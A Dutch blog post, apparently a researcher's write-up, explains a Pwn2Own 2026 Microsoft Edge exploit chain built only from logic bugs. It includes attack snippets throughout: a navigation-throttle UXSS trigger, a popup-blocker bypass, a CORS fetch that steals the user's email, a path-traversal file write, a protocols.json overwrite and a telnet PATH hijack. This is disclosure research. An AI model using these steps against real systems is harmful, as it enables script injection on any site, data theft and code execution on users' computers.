Het laatste bewijs van menselijk vakmanschap: Het smeden van een Microsoft Edge Full Chain met enkel logische bugs!
Ik denk dat ik af en toe mijn werk moet publiceren, ook al heb ik het gevoel dat steeds minder mensen tegenwoordig echt de tijd nemen om artikelen te lezen (of misschien laten ze dat nu allemaal over aan hun AI-agents XD). In ieder geval is dit wat ik heb gebouwd voor Pwn2Own Berlin 2026: een volledig handgemaakte, uitsluitend op logica gebaseerde Microsoft Edge Full Chain, zonder geheugencorruptie en zonder enige vorm van AI! 🔥
Bevestigd! Orange Tsai (@orange_8361) van het DEVCORE Research Team (@d3vc0r3) heeft vier logische bugs gekoppeld om een sandbox escape op Microsoft Edge te bewerkstelligen, waarmee hij $175.000 en 17,5 Master of Pwn-punten verdiende. Een volledige winst! #Pwn2Own #P2OBerlin
De volledige chain bestaat uit vijf bugs en twee Windows-functies. Ik heb het proces van bug-hunting en het koppelen ervan gedeeld tijdens HITCON en Hexacon van dit jaar, inclusief enkele leuke anekdotes.
Misschien denkt iedereen in dit AI-tijdperk dat LLM's inmiddels alles kunnen "pwnen", waardoor iets dat volledig met de hand is gemaakt, weer wat kostbaarder voelt. Dat is wellicht ook de reden waarom deze chain werd genomineerd voor de Pwnie Awards en de Epic Achievement award won. 🎉
De start: Navigatie begrijpen
Waar begin je met een full chain die alleen op logica is gebaseerd? Omdat het om een browser gaat, is het logisch om te kijken naar hoe "browsing" (of wat Chromium "navigation" noemt) werkt. Ik ga hier niet te diep op in, omdat je in dit tijdperk je agents gewoon om de details kunt vragen. Voor een volledig beeld raad ik echter aan om "Life of a Navigation" van Chrome University te lezen.
De vergeten Navigation Throttles
Tijdens het bestuderen van de Chromium Navigation flow viel iets genaamd "Navigation Throttles" me op. Deze bevinden zich in het Browser-proces en onderscheppen alle navigatieverzoeken die worden geïnitieerd door zowel de Browser als de Renderer. Achteraf gezien is dit makkelijk te zeggen, maar van de meer dan 3.000 CVE's die Google Chrome de afgelopen vijf jaar heeft opgelost, zijn er minder dan 20 gerelateerd aan deze throttles. Het is dus een hoek waar weinig mensen aandacht voor hebben.
Ik ben gaan graven in de Navigation Throttles en heb gekeken hoe Google Chrome en Microsoft Edge deze hebben geïmplementeerd. Hierbij ontdekte ik dat Edge een throttle heeft genaamd EdgeCAGuidanceNavigationThrottle voor de enterprise Entra ID-functie (de CA staat hier voor Conditional Access). Het doel van deze throttle is om gebruikers naar het juiste gebruikersprofiel te leiden wanneer Edge detecteert dat ze inloggen met een zakelijk account op een Microsoft-website. Om deze throttle te activeren, moet je een navigatie starten vanaf een specifieke origin van Microsoft, zoals login.live.com:
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
Zodra de throttle wordt geactiveerd, vergelijkt Edge het e-mailadres van het huidige gebruikersprofiel met ?email={email}. Als ze niet overeenkomen, toont Edge een dialoogvenster waarin je wordt gevraagd van account te wisselen.
Als ze wél overeenkomen, pakt Edge de URL waar je oorspronkelijk naartoe wilde gaan uit switch_profile={url} en start een nieuwe navigatie met de interne Navigation API van Chromium:
NavigateParams params(browser, switch_profile_url, ui::PAGE_TRANSITION_LINK);
params.disposition = WindowOpenDisposition::CURRENT_TAB;
params.window_action = NavigateParams::SHOW_WINDOW;
Navigate(¶ms);
In feite annuleert de throttle de oorspronkelijke navigatie wanneer de doel-URL voldoet aan een specifiek intern formaat, en start vervolgens een nieuwe navigatie met de URL uit de door de aanvaller gecontroleerde Query String, mits aan de voorwaarden is voldaan. Omdat deze nieuwe navigatie wordt geïnitieerd door het Browser-proces, kunnen we theoretisch dingen doen die voorheen niet mogelijk waren, zoals springen naar normaal verboden pagina's zoals edge://settings of devtools://..., of zelfs pseudo-schemes zoals javascript:alert(origin).
Hoewel het JavaScript pseudo-scheme krachtig klinkt, heb je nog steeds de Execution Context op login.live.com nodig om de throttle überhaupt te activeren. Het kunnen springen naar javascript: voegt dus geen extra functionaliteit toe; het is op dit punt vergelijkbaar met een Self-XSS. Je voert nog steeds JavaScript uit in dezelfde login.live.com context.
Eerlijk gezegd nam ik deze bug in eerste instantie niet zo serieus. Voor mij was het slechts een sterkere Open Redirect. De bug bleef wekenlang in mijn aantekeningen staan... 🤦♂️
Sourceless Navigation: Een nieuw UXSS-primitief
Het keerpunt kwam toen ik de Chromium-architectuur bestudeerde en dacht: de throttle wordt afgehandeld in het Browser-proces, dus de nieuwe navigatie wordt ook vanuit de browser gestart. Echter, de pagina van waaruit we de throttle activeerden (login.live.com), leeft in de Renderer. Tijdens het onderzoeken van de logica kon ik geen code vinden die de Browser en Renderer aan elkaar koppelt. Dus... naar welk tabblad verwijst CURRENT_TAB precies?
Om dit uit te zoeken, voerde ik een test uit en voegde een vertraging toe aan de trigger:
setTimeout(function(){
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
}, 8000)
Tijdens de vertraging schakelden we handmatig over naar een nieuw tabblad om te zien wat er zou gebeuren, en... Boem! We kregen een UXSS op google.com. Dit is de eerste bug van de volledige chain.
Om de root cause van de UXSS te begrijpen, doken we in de broncode van Chromium. We ontdekten dat als Navigate() wordt aangeroepen zonder de source_contents (de Renderer-bron om aan te binden) te specificeren, Chromium automatisch het huidige actieve tabblad als Renderer-bron gebruikt.
Pad: chromium/chrome/browser/ui/browser_navigator.cc
base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {
// [...]
// Als er geen source WebContents is gespecificeerd, gebruiken we de geselecteerde
// uit de doelbrowser.
if (!params->source_contents && params->browser) {
params->source_contents = params->browser
->GetBrowserForMigrationOnly()
->tab_strip_model()
->GetActiveWebContents(); // <--- [1] Gebruik het actieve tabblad als navigatiebron
}
// [...]
if (!contents_to_navigate_or_insert) {
DCHECK(!params->url.is_empty());
if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {
// [...]
} else {
// ... anders, als we laden in het huidige tabblad, is het doel hetzelfde als de bron.
DCHECK(params->source_contents);
contents_to_navigate_or_insert = params->source_contents; // <--- [2] Stel dit in als het doel WebContents
}
// [...]
if (!HandleNonNavigationAboutURL(
params->url, contents_to_navigate_or_insert->GetBrowserContext())) {
NavigationController::LoadURLParams load_url_params =
LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert,
params);
navigation_handle =
contents_to_navigate_or_insert->GetController().LoadURLWithParams(
load_url_params); // <--- [3] Start navigatie; dispatch Mojo downstream
}
// [...]
}
}
Hoewel dit codepad vereist dat params.disposition gelijk is aan CURRENTTAB en params.sourcecontents op NULL staat, zijn dit gelukkig de standaardwaarden. Zelfs de voorbeeldcode van Chromium maakt hier een fout in. Dit kan worden beschouwd als een nieuw UXSS-aanvalsoppervlak!
De 0-Click Uitdagingen
Het UXSS-primitief klinkt geweldig, maar het activeren ervan brengt in de praktijk flinke uitdagingen met zich mee. Hieronder staan de vier obstakels en hoe we deze hebben overwonnen.
1. De Throttle moet worden geactiveerd vanuit een Trusted Origin
De UXSS moet worden geactiveerd vanaf specifieke Microsoft-sites. In plaats van te zoeken naar een XSS op die sites, keken we of er zwakheden zaten in de origin-check.
content::WebContents* web_contents = navigation_handle()->GetWebContents();
const GURL last_committed_url = web_contents->GetLastCommittedURL();
if ( !IsSupportedLoginUrl(last_committed_url) )
return content::NavigationThrottle::CANCEL_AND_IGNORE;
EdgeCAGuidanceNavigationThrottle gebruikt GetLastCommittedURL() om de origin te controleren. Echter, Microsoft is vergeten dat een navigatie niet alleen uit het huidige WebContents kan komen, maar ook uit een ander venster. Een simpele window.open(...) is genoeg om dit te omzeilen:
popup = window.open('https://login.live.com/', '_blank')
popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}`
2. De Popup Blocker
Moderne browsers blokkeren window.open(...) standaard. Tijdens het reverse-engineeren van Microsoft Edge ontdekten we dat Microsoft een eigen hardcoded whitelist voor popups had gemaakt.
Een normale popup wordt geblokkeerd:
popup = window.open('https://malicious.tld', '_blank') // geblokkeerd
Maar als je de URL vervangt door een whitelisted URL, verschijnt het venster gewoon. Daarna kun je het venster terugsturen naar de gewenste site:
popup = window.open('about:blank#quickAuthPopup', '_blank') // toegestaan
popup.location = 'https://malicious.tld'
3. De noodzaak van een ingelogd profiel
De code vereist dat Microsoft Edge al een ingelogd gebruikersprofiel heeft en dat ?email={email} overeenkomt met het e-mailadres van dat profiel.
We ontdekten een functie genaamd "OneAuth". Deze functie zorgt ervoor dat elke Edge WebView-applicatie automatisch inlogt met je huidige MSA-gegevens bij het bezoeken van Microsoft-sites. Sinds versie 25H2 vereist Windows OOBE dat je inlogt met een MSA. Zelfs als je nooit een profiel in de browser hebt aangemaakt, is het bezoeken van www.microsoft.com voldoende voor Edge om er automatisch een aan te maken en je in te loggen.
4. Voorafgaande kennis van het e-mailadres
De laatste uitdaging is het verkrijgen van het e-mailadres van het slachtoffer. Omdat de automatische aanmelding verschillende Microsoft-cookies instelt, zochten we naar webkwetsbaarheden.
We ontdekten dat assets.msn.com (ingesloten in edge://new-tab-page-online) het e-mailadres van de ingelogde gebruiker teruggeeft. Bovendien had de site een CORS-misconfiguratie. Met een simpele fetch(...) met credentials kan het e-mailadres van elke Edge-gebruiker worden gestolen vanaf elke willekeurige website:
resp = await fetch(`https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`, {
method: 'GET',
mode: 'cors',
credentials: 'include',
referrerPolicy: 'no-referrer',
headers: {
'Accept': 'application/json'
}
})
body = await resp.json()
console.log( body.value[0].email )
Alles samenvoegen
Om dit primitief werkend te krijgen, hebben we het volgende gekoppeld:
- Een Trusted Origin bypass door een ontbrekende cross-window Opener-check.
- Een Popup Blocker bypass door een hardcoded whitelist.
- De OneAuth-functie die je automatisch inlogt.
- Een CORS-misconfiguratie om het e-mailadres van de gebruiker te stelen.
Nu kunnen we de UXSS triggeren zonder een enkele klik! Bovendien negeert deze UXSS elke CSP volledig, omdat hij vanuit het Browser-proces wordt geïnitieerd. We kunnen JavaScript uitvoeren op google.com, facebook.com, icloud.com, of elke andere website.
Ontsnappen uit de browser-sandbox
Een Universal XSS is krachtig voor websecurity, maar ons doel is Arbitrary Code Execution (ACE). We moeten dus uit de sandbox ontsnappen.
De meest voor de hand liggende route was het gebruiken van bevoorrechte WebUI-pagina's zoals edge://settings of edge://downloads. Dit is echter reeds gemitigeerd door Chromium. In de Mojo-handler van de Renderer is er een check: als de origin behoort tot een lijst met bevoorrechte WebUI's, negeert de Renderer de JavaScript-URL.
Pad: chromium/thirdparty/blink/renderer/core/frame/localframe.cc
void LocalFrame::LoadJavaScriptURL(const KURL& url) {
if (SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
GetSecurityContext()
->GetSecurityOrigin()
->GetOriginOrPrecursorOriginIfOpaque()
->Protocol())) {
return;
}
// [...]
}
Chromium heeft vrijwel elke bevoorrechte WebUI op de notallowingjavascripturlsschemes blacklist gezet.
Willekeurig bestand schrijven via Immersive Reader
Tijdens het verder onderzoeken van Microsoft Edge ontdekten we de "Immersive Reader" (leesmodus). In tegenstelling tot de ingebouwde leesmodus van Chrome, lijkt deze door Microsoft te zijn geforkt. In plaats van de geblackliste chrome-distiller:// of chrome-untrusted://, gebruikt Edge een eigen read:// scheme. Microsoft is vergeten dit scheme aan de blacklist toe te voegen, dus onze UXSS werkt op deze bevoorrechte WebUI.
Vanaf deze WebUI kunnen we via JavaScript toegang krijgen tot native C++ objecten. De functie chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles() was bijzonder interessant. Deze neemt twee parameters: een bestandsnaam en een JSON-string.
Voorbeeld uitgevoerd op read://https_orange.tw/?url=https://orange.tw:
chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
'LOL.ZIP',
'{
"logFiles": {
"ORANGE": "AAAAAAAA"
},
"deviceInfo": {1337: 1337}
}'
)
Edge maakt een tijdelijke map aan, schrijft "AAAAAAAA" naar het bestand ORANGE.json, pakt alles in LOL.ZIP en uploadt dit naar een Microsoft-server. Door gebruik te maken van ../ kunnen we uit de tijdelijke map ontsnappen. De .json extensie is hinderlijk, maar kan worden verwijderd met een NULL Byte. Hiermee hebben we een arbitrary file write waarmee we elke bestandsnaam en inhoud kunnen bepalen.
protocols.json overschrijven om protocolhandlers automatisch te starten
De laatste stap is om deze file write om te zetten in ACE. We zagen dat Edge tijdens het initialiseren configuratiebestanden leest uit beschrijfbare mappen.
DLL side-loading leek aantrekkelijk, maar omdat onze file write in JSON is gewikkeld, moet de inhoud een geldige UTF-8 string zijn. Het bleek onmogelijk om een geldige 64-bit PE-header te construeren die aan de UTF-8 eisen voldeed.
In plaats daarvan gebruikten we de AutoLaunchProtocolsComponent. Deze component leest een bestand genaamd protocols.json uit een beschrijfbare map. Dit bestand definieert welke origins welke URL-protocolhandlers mogen starten. Door dit bestand te overschrijven, kunnen we elke protocolhandler vanuit elke origin starten.
Pad: AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
{
"allow": [
{
"origins": [
"https://.get.microsoft.com",
"https://.apps.microsoft.com"
],
"protocol": "ms-windows-store"
},
{
"origins": [
"https://.onedrive.com",
"https://.onedrive.live.com",
"https://sharepoint.com"
],
"protocol": "ms-word"
}
],
"warn": [],
"block": []
}
Om Edge te dwingen dit bestand opnieuw te laden, gebruiken we onze eerdere browser-navigatie om naar edge://restart te springen.
Van telnet:// naar Code Execution!
Voor de uiteindelijke code execution kozen we telnet://. Op Windows probeert de telnet-handler telnet.exe aan te roepen. Aangezien dit binary standaard niet is geïnstalleerd, zoekt Windows in de directories die in de PATH omgevingsvariabele staan. Een van deze directories is beschrijfbaar voor een gebruiker met lage privileges:
C:\Users\lowpriv\AppData\Local\Microsoft\WindowsApps
Door een aangepaste protocols.json en een klein 32-bit PE-bestand te plaatsen, bereikten we ACE. De volledige exploit is minder dan 100 regels code.
Eindoverwegingen
Het volledige onderzoek, van nul ervaring met moderne browser-exploits tot de volledige chain, kostte me twee maanden, volledig zonder LLM's of AI. Waarom? Misschien omdat het cool klinkt, of omdat de timing goed was: ik begon pas in maart van dit jaar met coding agents zoals Codex en Claude Code, terwijl ik de bugs toen al had gevonden.
Bij geheugencorruptie is de exploitatie vaak het moeilijkste deel. Bij logische bugs is het vinden van de bugs het zwaarste werk; het koppelen ervan is daarna het makkelijkste deel.
Ik zie het UXSS-primitief als een nieuw aanvalsoppervlak en ben het ermee eens dat in het AI-tijdperk "Attack Surface the new 0day" is. Ik wilde deze goudmijn verder verkennen voordat ik hem deel met de AI-giganten.
Natuurlijk ben ik niet ouderwets. Buiten deze chain ben ik verslaafd aan AI. Ik geloof dat zodra je hebt geproefd van het gemak van LLM's, niemand meer handmatig bugs wil zoeken. Dat is de toekomst.
Ik ben niet bang om vervangen te worden door AI. Sterker nog, dankzij AI heb ik eindelijk tijd om alle coole dingen op mijn TODO-lijst af te werken... zoals de Windows RCE die ik net heb gerapporteerd, het omkeren van de chain om Microsoft Edge te starten vanuit calc.exe, of het porteren van deze logic-only chain naar Google Chrome.
In plaats van ons zorgen te maken over hoe laag de lat voor vulnerability research komt te liggen, kunnen we ons juist enthousiasmeren over hoe hoog AI ons kan tillen. Welke coolere hacks kunnen we bouwen en welke onmogelijke dingen kunnen we mogelijk maken?
Never Stop Exploiting!
Groetjes,